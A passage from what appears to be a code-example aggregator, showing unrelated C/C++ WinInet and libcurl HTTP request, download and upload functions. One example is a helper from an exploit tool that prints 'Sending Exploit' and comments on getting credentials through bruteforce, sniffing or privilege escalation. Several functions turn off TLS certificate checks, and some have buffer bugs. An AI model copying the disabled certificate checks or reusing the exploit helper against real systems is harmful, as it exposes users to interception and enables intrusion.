	InternetCloseHandle(hRequest);
	InternetCloseHandle(hConnection);
	InternetCloseHandle(hSession);

	return bSuccess;

}
Exemple #18
0
CString HttpManager::GetData(int type,CString host,CString url,CString reference,CString contenttype,CString &cookie,PVOID postsparam,DWORD dwpostsize,CString &error){
	HINTERNET m_hInternet=NULL;
	HINTERNET m_hRequest=NULL;
	HINTERNET m_hSession=NULL;
	CString retstr=_T("");
	DWORD ConnFlag=(type<2)?0x10|INTERNET_FLAG_RELOAD|INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_CACHE_WRITE:INTERNET_FLAG_RELOAD|INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_CACHE_WRITE
   |INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|0x10;

	try{
		m_hInternet = InternetOpen(_T("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)"), INTERNET_OPEN_TYPE_PRECONFIG , NULL, NULL, 0);
		if (!m_hInternet){
			error=(_T("Cannot open internet"));
			throw  int(9);
			return _T("");
		}//
		m_hSession = InternetConnect(m_hInternet,host,(type<2)?80:443,_T(""),_T(""),INTERNET_SERVICE_HTTP,0,0);
		if (!m_hSession){  
			error=_T("Cannot connect to internet");
			throw  int(9);
			return _T("");
		}//

		int iTimeOut=3000;
		InternetSetOption(m_hSession,INTERNET_OPTION_CONNECT_TIMEOUT, &iTimeOut, sizeof(int));


		m_hRequest = HttpOpenRequest(m_hSession,(type==0||type==2)?_T("GET"):_T("POST"),url,NULL,reference,NULL,ConnFlag,0);
		if (!m_hRequest) {
			error=_T("Cannot perform http request");
			throw  int(9);
			return _T("");
		}  


		struct   
		{   
			char* Accept;  
			char* Language;   
			char* Encoding;   
			char* ContentType;   
		}Headers = {"Accept: text/html, application/xhtml+xml, */*\r\n",
			"Accept-Language:zh-cn\r\n",
                "Accept-Encoding:gzip,deflate\r\n",   
                "Content-Type:application/x-www-form-urlencoded\r\n"};
    

		if(cookie.GetLength())
			HttpAddRequestHeaders(m_hRequest,
			"Cookie: "+cookie+"\r\n", 
                                -1,
                                HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);   

		HttpAddRequestHeaders(m_hRequest,
			Headers.Accept, 
                                -1,
                                HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);   

        HttpAddRequestHeaders(m_hRequest,
                                Headers.Language, 
                                -1,
                                HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);   
    
        HttpAddRequestHeaders(m_hRequest,
                                Headers.Encoding, 
                                -1,
                                HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);   
   

		if(contenttype.GetLength()==0)
			HttpAddRequestHeaders(m_hRequest,
                                Headers.ContentType,
                                -1,
                                HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);   
   
		else
			HttpAddRequestHeaders(m_hRequest,
                                "Content-Type:"+contenttype+"\r\n",
                                -1,
                                HTTP_ADDREQ_FLAG_ADD|HTTP_ADDREQ_FLAG_REPLACE);   
		

	
		
	
		
		
		//Accept: text/html, application/xhtml+xml, */*
		//Accept-Language: zh-CN
//Accept-Encoding: gzip, deflate
//Content-Type: application/x-www-form-urlencoded

		int result =  HttpSendRequest(m_hRequest,NULL,0,postsparam,dwpostsize);
		if(result)//??????
		{

			char szBuff[65535];  
			DWORD dwReadSize = 65535;  
			HttpQueryInfo(m_hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, szBuff, &dwReadSize, NULL);  
			szBuff[dwReadSize] = '/0'; 

			char *p=StrStrI(szBuff,"Set-Cookie:");
			if(p!=NULL){
				CString cookieraw=strstr(p,":")+1;
				cookieraw.Replace("\r\n","%^&*");
				cookieraw.Replace("\n","%^&*");
				if(cookieraw.Find("%^&*")!=-1){
					cookieraw=cookieraw.Mid(0,cookieraw.Find("%^&*"));
				}
				cookie=ProcessCookie(cookieraw);

			}

			DWORD Count=0;
			char sz[1024];	
			int ret;
			do {
				ret = InternetReadFile(m_hRequest, sz, 1023, &Count);           
				sz[Count] = '\0';
				int x = strlen(sz);
				retstr += sz;
				memset(sz, 0, 1024);
  
			}while(ret && Count != 0);


			if (m_hInternet) {
				InternetCloseHandle(m_hInternet);
				m_hInternet = NULL;
			}
 
			if (m_hSession) {
				InternetCloseHandle(m_hSession);
				m_hSession = NULL;
			}
			if(m_hRequest){
				InternetCloseHandle(m_hRequest);
				m_hRequest = NULL;
			}

			return retstr;
		}
		else
		{
			error=_T("Send Request Error! Checking network connection");
			return _T("");
		}
	}
	catch(...) {
		if (m_hInternet) {
			InternetCloseHandle(m_hInternet);
			m_hInternet = NULL;
		}
 
		if (m_hSession) {
			InternetCloseHandle(m_hSession);
			m_hSession = NULL;
		}
		return _T("");
	}

	

		if (m_hInternet) {
			InternetCloseHandle(m_hInternet);
			m_hInternet = NULL;
		}
 
		if (m_hSession) {
			InternetCloseHandle(m_hSession);
			m_hSession = NULL;
		}
		if(m_hRequest){
			InternetCloseHandle(m_hRequest);
			m_hRequest = NULL;
		}

	return _T("");
}
Exemple #19
0
/* return value:
 *  0 success
 * -1 fopen failed
 * -2 curl initialization failed
 * -3 scheme is neither http nor https
 * -4 faild to parse the URL (InternetCrackUrl) (windows)
 * -5 https responce status is not HTTP_STATUS_OK (windows)
 * -6 HttpQueryInfo failed (windows)
 * -7 rename failure
 */
int download_simple (char* uri,char* path,int opt) {
  FILE *bodyfile;
  char* path_partial=cat(path,".partial",NULL);
  bodyfile = fopen(path_partial,"wb");
  if (bodyfile == NULL) {
    s(path_partial);
    return -1;
  }
  c_out=0==(download_opt=opt)?stderr:stdout;
#ifndef HAVE_WINDOWS_H
  CURL *curl;
  CURLcode res=!CURLE_OK;
  curl = curl_easy_init();
  if(curl) {
    char* current=get_opt("ros.proxy",1);
    if(current) {
      /*<[protocol://][user:password@]proxyhost[:port]>*/
      char *reserve=current,*protocol=NULL,*userpwd=NULL,*port=NULL,*uri=NULL;
      int pos=position_char("/",current);
      if(pos>0 && current[pos-1]==':' && current[pos+1]=='/')
        protocol=current,current[pos-1]='\0',current=current+pos+2;
      pos=position_char("@",current);
      if(pos!=-1)
        userpwd=current,current[pos]='\0',current=current+pos+1;
      pos=position_char(":",current);
      if(pos!=-1)
        current[pos]='\0',port=current+pos+1,uri=current;
      curl_easy_setopt(curl, CURLOPT_PROXY, uri);
      if(port)
        curl_easy_setopt(curl, CURLOPT_PROXYPORT,atoi(port));
      if(userpwd)
        curl_easy_setopt(curl, CURLOPT_PROXYUSERPWD, userpwd);
      s(reserve);
    }
    count=0,content_length=0;
    curl_easy_setopt(curl, CURLOPT_URL, uri);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
    curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, header_callback);
    curl_easy_setopt(curl,CURLOPT_WRITEDATA,bodyfile);
    res = curl_easy_perform(curl);
    if(res != CURLE_OK && verbose) {
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));
    }
    curl_easy_cleanup(curl);
    fclose(bodyfile);
  }
  if(res != CURLE_OK)
    return -2;
#else
  URL_COMPONENTS u;
  TCHAR szHostName[4096];
  TCHAR szUrlPath[4096];

  u.dwStructSize = sizeof(u);
  u.dwSchemeLength    = 1;
  u.dwHostNameLength  = 4096;
  u.dwUserNameLength  = 1;
  u.dwPasswordLength  = 1;
  u.dwUrlPathLength   = 4096;
  u.dwExtraInfoLength = 1;

  u.lpszScheme     = NULL;
  u.lpszHostName   = szHostName;
  u.lpszUserName   = NULL;
  u.lpszPassword   = NULL;
  u.lpszUrlPath    = szUrlPath;
  u.lpszExtraInfo  = NULL;
  if(!InternetCrackUrl(uri,(DWORD)strlen(uri),0,&u)) {
    fclose(bodyfile);
    return -4;
  }
  HINTERNET hSession = InternetOpen("WinInet",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
  HINTERNET hConnection = InternetConnect(hSession,szHostName,u.nPort,NULL,NULL,INTERNET_SERVICE_HTTP,0,0);
  DWORD dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE;
  if(INTERNET_SCHEME_HTTP == u.nScheme) {
  }else if( INTERNET_SCHEME_HTTPS == u.nScheme ) {
    dwFlags = dwFlags | INTERNET_FLAG_SECURE| INTERNET_FLAG_IGNORE_CERT_DATE_INVALID| INTERNET_FLAG_IGNORE_CERT_CN_INVALID;
  }else {
    fclose(bodyfile);
    return -3;
  }
  HINTERNET hRequest = HttpOpenRequest(hConnection,"GET",szUrlPath,NULL,NULL,NULL,dwFlags,0);

  HttpSendRequest(hRequest,NULL,0,NULL,0);
  DWORD dwStatusCode,dwContentLen;
  DWORD dwLength = sizeof(DWORD);
  if(HttpQueryInfo(hRequest,HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER,&dwContentLen,&dwLength,0))
    content_length=dwContentLen;
  if(!HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE|HTTP_QUERY_FLAG_NUMBER,&dwStatusCode,&dwLength,0)) {
    fclose(bodyfile);
    return -6;
  }
  if(HTTP_STATUS_OK != dwStatusCode) {
    fclose(bodyfile);
    return -5;
  }
  char pData[10000];
  DWORD dwBytesRead = 1;
  count=0;
  while (dwBytesRead) {
    InternetReadFile(hRequest, pData, 99, &dwBytesRead);
    pData[dwBytesRead] = 0;
    write_data(pData,dwBytesRead,1,bodyfile);
  }
  fclose(bodyfile);
#endif
  fprintf(c_out, "\n");
  int ret=rename_file(path_partial,path);
  s(path_partial);
  return ret?0:-7;
}
Exemple #20
0
BOOL CHttpRequestSender::InternalSend()
{ 
  BOOL bStatus = FALSE;      // Resulting status
  strconv_t strconv;         // String conversion
  HINTERNET hSession = NULL; // Internet session
  HINTERNET hConnect = NULL; // Internet connection
  HINTERNET hRequest = NULL; // Handle to HTTP request
  TCHAR szProtocol[512];     // Protocol
  TCHAR szServer[512];       // Server name
  TCHAR szURI[1024];         // URI
  DWORD dwPort=0;            // Port
  CString sHeaders = _T("Content-type: multipart/form-data, boundary=") + m_sBoundary;
	LPCTSTR szAccept[2]={_T("*/*"), NULL};
  INTERNET_BUFFERS BufferIn;
	BYTE pBuffer[2048];
	BOOL bRet = FALSE;
  DWORD dwBuffSize = 0;
  CString sMsg;
  LONGLONG lPostSize = 0;  
  std::map<CString, std::string>::iterator it;
  std::map<CString, CHttpRequestFile>::iterator it2;

  // Calculate size of data to send
  m_Assync->SetProgress(_T("Calculating size of data to send."), 0);
  bRet = CalcRequestSize(lPostSize);
  if(!bRet)
  {
    m_Assync->SetProgress(_T("Error calculating size of data to send!"), 0);
    goto cleanup;
  }

  // Create Internet session
  m_Assync->SetProgress(_T("Opening Internet connection."), 0);
  hSession = InternetOpen(_T("CrashRpt"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if(hSession==NULL)
  {
    m_Assync->SetProgress(_T("Error opening Internet session"), 0);
	  goto cleanup; 
  }
  
  // Parse application-provided URL
  ParseURL(m_Request.m_sUrl, szProtocol, 512, szServer, 512, dwPort, szURI, 1024);

  // Connect to HTTP server
  m_Assync->SetProgress(_T("Connecting to server"), 0, true);

  hConnect = InternetConnect(hSession, szServer, (WORD)dwPort, 
    NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
	if(hConnect==NULL)
  {
    m_Assync->SetProgress(_T("Error connecting to server"), 0);
	  goto cleanup; 
  }

  if(m_Assync->IsCancelled()){ goto cleanup; }

  m_Assync->SetProgress(_T("Opening HTTP request..."), 0, true);

  hRequest = HttpOpenRequest(hConnect, _T("POST"), szURI, 
			NULL, NULL, szAccept, INTERNET_FLAG_NO_CACHE_WRITE, 0);
  if (!hRequest)
  {
	  m_Assync->SetProgress(_T("HttpOpenRequest has failed."), 0, true);
    goto cleanup;
  }
  
	BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS ); // Must be set or error will occur
  BufferIn.Next = NULL; 
  BufferIn.lpcszHeader = sHeaders;
  BufferIn.dwHeadersLength = sHeaders.GetLength();
  BufferIn.dwHeadersTotal = 0;
  BufferIn.lpvBuffer = NULL;                
  BufferIn.dwBufferLength = 0;
  BufferIn.dwBufferTotal = (DWORD)lPostSize; // This is the only member used other than dwStructSize
  BufferIn.dwOffsetLow = 0;
  BufferIn.dwOffsetHigh = 0;

  m_dwPostSize = (DWORD)lPostSize;
  m_dwUploaded = 0;

  m_Assync->SetProgress(_T("Sending HTTP request..."), 0);
  if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, 0, 0))
  {
    m_Assync->SetProgress(_T("HttpSendRequestEx has failed."), 0);
    goto cleanup;
  }

  // Write text fields
  for(it=m_Request.m_aTextFields.begin(); it!=m_Request.m_aTextFields.end(); it++)
  {
    bRet = WriteTextPart(hRequest, it->first); 
    if(!bRet)
      goto cleanup;
  }
	
  // Write attachments
  for(it2=m_Request.m_aIncludedFiles.begin(); it2!=m_Request.m_aIncludedFiles.end(); it2++)
  {
    bRet = WriteAttachmentPart(hRequest, it2->first); 
    if(!bRet)
      goto cleanup;
  }
	
  bRet = WriteTrailingBoundary(hRequest);
  if(!bRet)
    goto cleanup;

  m_Assync->SetProgress(_T("Ending HTTP request..."), 0);
  if(!HttpEndRequest(hRequest, NULL, 0, 0))
  {
    m_Assync->SetProgress(_T("HttpEndRequest has failed."), 0);
    goto cleanup;
  }

  m_Assync->SetProgress(_T("Reading server responce..."), 0);
  
  InternetReadFile(hRequest, pBuffer, 2048, &dwBuffSize);
  pBuffer[dwBuffSize] = 0;
  sMsg = CString((LPCSTR)pBuffer, dwBuffSize);
  sMsg = _T("Server returned:") + sMsg;
  m_Assync->SetProgress(sMsg, 0);
    
  if(atoi((LPCSTR)pBuffer)!=200)
  {
    m_Assync->SetProgress(_T("Failed."), 100, false);
    goto cleanup;
  }

  m_Assync->SetProgress(_T("Error report was sent OK!"), 100, false);
  bStatus = TRUE;

cleanup:

  if(!bStatus)
  {
    m_Assync->SetProgress(_T("Error sending HTTP request."), 100, false);
  }

  // Clean up
	if(hRequest) 
    InternetCloseHandle(hRequest);

	if(hConnect) 
    InternetCloseHandle(hConnect);

	if(hSession) 
    InternetCloseHandle(hSession);

  m_Assync->SetCompleted(bStatus?0:1);

  return bStatus;
}
Exemple #21
0
PHTTPData MakeHTTPRequest(char *host, DWORD port, char *metod,char *Url,int ssl, char *buffer) {
//better than playing with sockets ^^
    HINTERNET hInternetSession,hConnect,hRequest;
    static TCHAR hdrs[] = "Content-Type: application/x-www-form-urlencoded";
    int ret;
    PHTTPData resultado;
    char bufQuery[32] ;
    DWORD dwBuffLen,dwFlags;
    BOOL bQuery,bRead;
    DWORD dwHTTPCode,dwIndex,dwFileSize,dwReadedBytes,dwLengthBufQuery = sizeof(bufQuery);
    //PSTR pszUser ="******"; 
    //PSTR pszPass="******";

    resultado=malloc(sizeof(HTTPData));
    memset(resultado,0,sizeof(HTTPData));

    if ((hInternetSession = InternetOpen ("TigerTeam 514",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0)) == NULL) {
        return (resultado);
    }
    hConnect = InternetConnect(hInternetSession,host,port,NULL,NULL,INTERNET_SERVICE_HTTP,0,1);
    if (!ssl) {
        hRequest = HttpOpenRequest(hConnect,
        metod,Url,NULL,NULL,NULL,INTERNET_FLAG_RELOAD,0);
    } else {
        hRequest = HttpOpenRequest(hConnect,
            metod,Url,NULL,NULL,NULL,
            INTERNET_FLAG_IGNORE_CERT_CN_INVALID |INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID     ,0);
    }

    if (hRequest==NULL) {
        printf("error chungo en HttpOpenRequest\n");
        return(resultado);
    }

    if (buffer==NULL) {
            ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),NULL,0);
    } else {
            printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer));
            ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer));

    if ((!ret) && (ssl) ){
            dwBuffLen = sizeof(dwFlags);
            printf("[+] Ignoring unknown CA...\n");
            InternetQueryOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,
                (LPVOID)&dwFlags, &dwBuffLen);
            dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
            InternetSetOption (hRequest, INTERNET_OPTION_SECURITY_FLAGS,
                &dwFlags, sizeof (dwFlags) );
/*
//authentication support here.
//If you need user & password try
//a) bruteforce
//b) sniffer
//c) local privilege scalation with TibcoPasswordExtractor.c

            InternetSetOption(hRequest, INTERNET_OPTION_USERNAME,
                          pszUser, _tcslen(pszUser) + 1);
            InternetSetOption(hRequest, INTERNET_OPTION_PASSWORD,
                          pszPass, _tcslen(pszPass) + 1);
*/
            printf("[+] Sending Exploit ( %i bytes)\n",strlen(buffer));
            ret = HttpSendRequest(hRequest,hdrs,strlen(hdrs),buffer,strlen(buffer));
        }


        if (!ret) {
            printf("Se ha enviado mal la peticion HTTP: %i\n",GetLastError());
            return(resultado);
        }
    }
        bQuery= HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE,bufQuery,&dwLengthBufQuery,NULL);
        if (!bQuery) {
            printf("Control de Errores - bQuery Vale NULL\n");
            return(resultado);
        }
        resultado->dwReturnCode = (DWORD)atol(bufQuery) ;
//        printf("HEADER RESPONSE: %i \n",resultado->dwReturnCode);

        dwLengthBufQuery=sizeof(bufQuery);
        bQuery= HttpQueryInfo(hRequest, //petición de tamaño de la petición.
                HTTP_QUERY_CONTENT_LENGTH,
                bufQuery,
                &dwLengthBufQuery,
                NULL);
        dwFileSize = (DWORD)atol(bufQuery) ;
//        printf("Vamos a leer %i bytes de datos\n",dwFileSize);
        resultado->dwBytesRead=dwFileSize;
        if (dwFileSize==0) {
            resultado->buffer=NULL;
            InternetCloseHandle(hRequest);
            InternetCloseHandle(hConnect);
            InternetCloseHandle(hInternetSession);
            return(resultado);
        }
        resultado->buffer= malloc(dwFileSize+1);
        bRead = InternetReadFile(hRequest,
                resultado->buffer,
                dwFileSize,
                &dwReadedBytes);
        resultado->buffer[resultado->dwBytesRead] = '\0' ;

    InternetCloseHandle(hRequest);
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternetSession);
    return(resultado);
}
bool
CHttp::AllocHandles ( bool isbase64, int *status, bool checkauth)
{

	DWORD		flags	=	INTERNET_FLAG_RELOAD | 
							INTERNET_FLAG_NO_CACHE_WRITE | 
							INTERNET_FLAG_KEEP_CONNECTION;
    unsigned long errnum;
	DWORD rec_timeout = RECIEVE_TIMEOUT;					// override the 30 second timeout fixed in 12.11
	wyString contenttype,contenttypestr;
	//wyInt32     ret;
	
		

	/* 
		If a user has selected to use proxy server for Internet connection then we
		create a separate handle, send a dummy request and set the username, password 

		The real data connection and transfer is done in another handle */
	
	if (IsProxy () )
		m_InternetSession = InternetOpen (TEXT(USER_AGENT), INTERNET_OPEN_TYPE_PROXY, GetProxy(), NULL, 0 );
	else
		m_InternetSession = InternetOpen (TEXT(USER_AGENT), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0 );
	
	if (!m_InternetSession )
		return false;
	InternetSetOption(m_InternetSession, INTERNET_OPTION_RECEIVE_TIMEOUT, &rec_timeout, sizeof(rec_timeout));
	m_InternetConnect = InternetConnect (m_InternetSession, m_HostName, m_Port, m_UserName, m_Password, INTERNET_SERVICE_HTTP, 0L, 0L );
	if (!m_InternetConnect )
		return false;

	/* set the flags for internet connection  and check if SSL required */
	if (wcsicmp (m_Protocol, L"https" ) == 0 )
		flags |= INTERNET_FLAG_SECURE;

	/* check for proxy or password protected authentication 
	checkauth flag tells whether its required to be authenticated 
	*/
	if (checkauth && !Authorize (&errnum) )
    {
        *status = errnum;
		return false;
    }

	m_HttpOpenRequest = HttpOpenRequest(m_InternetConnect, L"POST", m_FileName, NULL, NULL, NULL, flags, 0L );
	if (!m_HttpOpenRequest )
		return false;

	//Content-Type 
	contenttype.SetAs(m_contenttype);
	contenttypestr.Sprintf("Content-Type: %s\r\n", contenttype.GetString());
	if (!HttpAddRequestHeaders(m_HttpOpenRequest, contenttypestr.GetAsWideChar () , (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) )
		return false;
				
	/*if (!HttpAddRequestHeaders(m_HttpOpenRequest, L"HTTP_USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) )
		return false;*/
	//changing user string for avoid update your browser bug
	if (!HttpAddRequestHeaders(m_HttpOpenRequest, L"HTTP_USER_AGENT: Mozilla/5.0 (Windows; U;Windows NT 6.3; en-US; rv:36.0) Gecko/20100101 Firefox/36.0\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) )
		return false;

	if (isbase64 ) {
		if (!HttpAddRequestHeaders(m_HttpOpenRequest, L"Base64: yes\r\n", (DWORD)-1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ) ) {
			assert (0 );
			return false;
		}
	}

	return true;
}
void IINetUtil::GetWebFile(const tchar* Parameters, const tchar* pszServer, const tchar* pszFileName, tint32* OutputLength, tchar** OutputBuffer)
{
	*OutputBuffer = NULL;
	*OutputLength = 0;
	HINTERNET Initialize = NULL;
	HINTERNET Connection = NULL;
    HINTERNET File = NULL;
	//tchar* szFullFileName = NULL;
	try {
		//combine path and filename
		//szFullFileName = new tchar[strlen(INTERFACE_PATH)+strlen((const char *) FileName)+1];
		//sprintf((char *) szFullFileName,"%s%s",INTERFACE_PATH,FileName);
		/*initialize the wininet library*/
		if (NULL == (Initialize = InternetOpen("Koblo INet Engine 1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0)))//INTERNET_FLAG_ASYNC)))
		{
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonNetworkCannotOpen,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonNetworkCannotOpen,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
		//Set timeout
		int timeout = CONNECT_TIMEOUT * 1000;
		// Lasse, modified 2007-09-10 - check for return value
		//InternetSetOption(Initialize, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, 4);
		if (!InternetSetOption(Initialize, INTERNET_OPTION_CONNECT_TIMEOUT, &timeout, 4)) {
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonNetworkGeneric,
				EXCEPTION_INFO,
				pszMsg);
		}

		// Lasse, added 2007-09-10 - context identifier for application
		DWORD dwContext = 0;
		DWORD_PTR pdwContext = (DWORD_PTR)&dwContext;
		// .. Lasse

		/*connect to the server*/
		// Lasse, modified 2007-09-10 - avoid risky NULL pointer read; use context identifier correctly
		//if (NULL == (Connection = InternetConnect(Initialize,WEB_SERVER,INTERNET_DEFAULT_HTTP_PORT,
		//	NULL,NULL,INTERNET_SERVICE_HTTP,0,0)))
		if (NULL == (Connection = InternetConnect(Initialize, pszServer, INTERNET_DEFAULT_HTTP_PORT,
			NULL, NULL, INTERNET_SERVICE_HTTP, 0, pdwContext)))
		// .. Lasse
		{
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonCouldntConnectToServer,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonCouldntConnectToServer,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
		/*open up an HTTP request*/
		// Lasse, modified 2007-09-10 - 1: avoid risky NULL pointer read; use context identifier correctly, 2: avoid using cache
		//if (NULL == (File = HttpOpenRequest(Connection,POST_GET("POST","GET"),(const char*) szFullFileName,NULL,NULL,NULL,0,0)))
		//if (NULL == (File = HttpOpenRequest(Connection, POST_GET("POST","GET"), (const char*)szFullFileName, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_RELOAD, pdwContext)))
		if (NULL == (File = HttpOpenRequest(Connection, POST_GET("POST","GET"), (const char*)pszFileName, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE|INTERNET_FLAG_RELOAD, pdwContext)))
		// .. Lasse
		{
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonCouldntConnectToAppl,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonCouldntConnectToAppl,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
		/*Read the file*/
		if(HttpSendRequest(
			File,
			POST_GET(POST_CONTENT_TYPE,NULL),
			POST_GET(strlen(POST_CONTENT_TYPE),0),
			POST_GET((void*)Parameters,NULL),
			POST_GET(strlen((const char *) Parameters),0)
		))
		{
			*OutputBuffer = new tchar[MAX_PAGE_SIZE];
			// Lasse, changed 2007-09-11 - fix for prematurely return before all data have been received
			//InternetReadFile(File,*OutputBuffer,MAX_PAGE_SIZE, (unsigned long *) OutputLength);
			DWORD dwLen = 0;
			*OutputLength = 0;
			tuint32 uiRemainingBuffer = MAX_PAGE_SIZE;
			tchar* pszBuff = *OutputBuffer;
			// This is the correct approach: Read until 0 bytes are received
			do {
				if (!InternetReadFile(File, pszBuff, uiRemainingBuffer, &dwLen)) {
					// Time-out reading page
					tchar pszMsg[256];
					GetGetLastError(pszMsg);
					throw IException::Create(IException::TypeNetwork,
						IException::ReasonNetworkTimeOut,
						EXCEPTION_INFO,
						pszMsg);
				}
				// Prepare for more data - advance buffer pointer etc.
				pszBuff += dwLen;
				*OutputLength += dwLen;
				uiRemainingBuffer -= dwLen;
			} while (dwLen > 0);
			// .. Lasse
			if (*OutputLength == MAX_PAGE_SIZE) {
				throw IException::Create(IException::TypeNetwork, IException::ReasonPageToLarge, EXCEPTION_INFO);
			}
            (*OutputBuffer)[*OutputLength] = NULL; //zero termination
		} else {
			// Lasse, modified 2007-09-10
			//throw IException::Create(IException::TypeNetwork,
			//	IException::ReasonErrorReadingFromAppl,
			//	EXCEPTION_INFO);
			tchar pszMsg[256];
			GetGetLastError(pszMsg);
			throw IException::Create(IException::TypeNetwork,
				IException::ReasonErrorReadingFromAppl,
				EXCEPTION_INFO,
				pszMsg);
			// .. Lasse
		}
	}
	catch (...) {
	   /*close file , terminate server connection and deinitialize the wininet library*/
		if (File != NULL) InternetCloseHandle(File);
		if (Connection != NULL) InternetCloseHandle(Connection);
		if (Initialize != NULL) InternetCloseHandle(Initialize);
		throw;
	}
	if (File != NULL) InternetCloseHandle(File);
	if (Connection != NULL) InternetCloseHandle(Connection);
	if (Initialize != NULL) InternetCloseHandle(Initialize);
}
Exemple #24
0
BOOL baidu_upload(CString sfile, CString token, CString fname,DWORD *process)
{
	if (sfile == L"")
	{
		MessageBox(NULL, L"Îļþ·¾¶²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (token == L"")
	{
		MessageBox(NULL, L"token²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}
	if (fname == L"")
	{
		MessageBox(NULL, L"ÎļþÃû²»ÄÜΪ¿Õ", 0, 0);
		return FALSE;
	}

	CString url(L"/rest/2.0/pcs/file?method=upload&ondup=overwrite&path=%2Fapps%2Fhitdisk%2F" + fname + L"&access_token=" + token);

	DWORD total_length = 0;//ÉÏ´«Êý¾Ý×Ü´óС
	DWORD file_length = 0;//ÉÏ´«ÎļþµÄ´óС
	//DWORD read_length = 0;//ÒѾ­´ÓÎļþ¶ÁÈ¡µÄ´óС
	DWORD sent_length = 0;//ÒѾ­ÉÏ´«µÄÎļþµÄ´óС

	DWORD sent_bfleng = 0;//µ±Ç°Êý¾Ý¿éÒÑÉÏ´«´óС

	DWORD head_length = 0;//Êý¾ÝÍ·´óС
	DWORD tail_length = 0;//Êý¾Ýβ´óС



	DWORD read_part = 1024 * 1024 * 2;
	DWORD send_part = 1024;

	DWORD read_tmp = 0;//µ±Ç°´ÓÎļþ¶ÁÈ¡µ½»º³åÇøµÄ´óС
	DWORD sent_tmp = 0;//µ±Ç°·¢ËÍ´óС


	CFile cfile(sfile, CFile::modeRead);
	file_length = (DWORD)cfile.GetLength();
	CHAR *send_buffer = new CHAR[read_part];


	HINTERNET hRequest = NULL;
	HINTERNET hConnect = NULL;
	HINTERNET hnet = InternetOpen(fname, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);

	hConnect = InternetConnect(hnet, L"pcs.baidu.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	hRequest = HttpOpenRequest(hConnect, L"POST", url, NULL, NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_RELOAD, 0);

	TCHAR ct[] = L"Content-Type: multipart/form-data; boundary=--myself";
